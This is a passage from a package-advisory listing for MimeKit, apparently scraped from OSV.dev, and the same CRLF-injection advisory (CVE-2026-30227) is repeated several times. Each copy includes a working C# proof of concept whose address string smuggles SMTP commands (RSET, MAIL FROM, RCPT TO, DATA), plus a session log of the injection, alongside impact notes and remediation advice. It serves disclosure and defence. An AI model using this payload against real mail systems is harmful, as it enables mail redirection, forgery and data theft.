    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Dec 11, 2021

2.15.1 patch

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Sep 13, 2021

2.15.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Aug 19, 2021

2.14.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
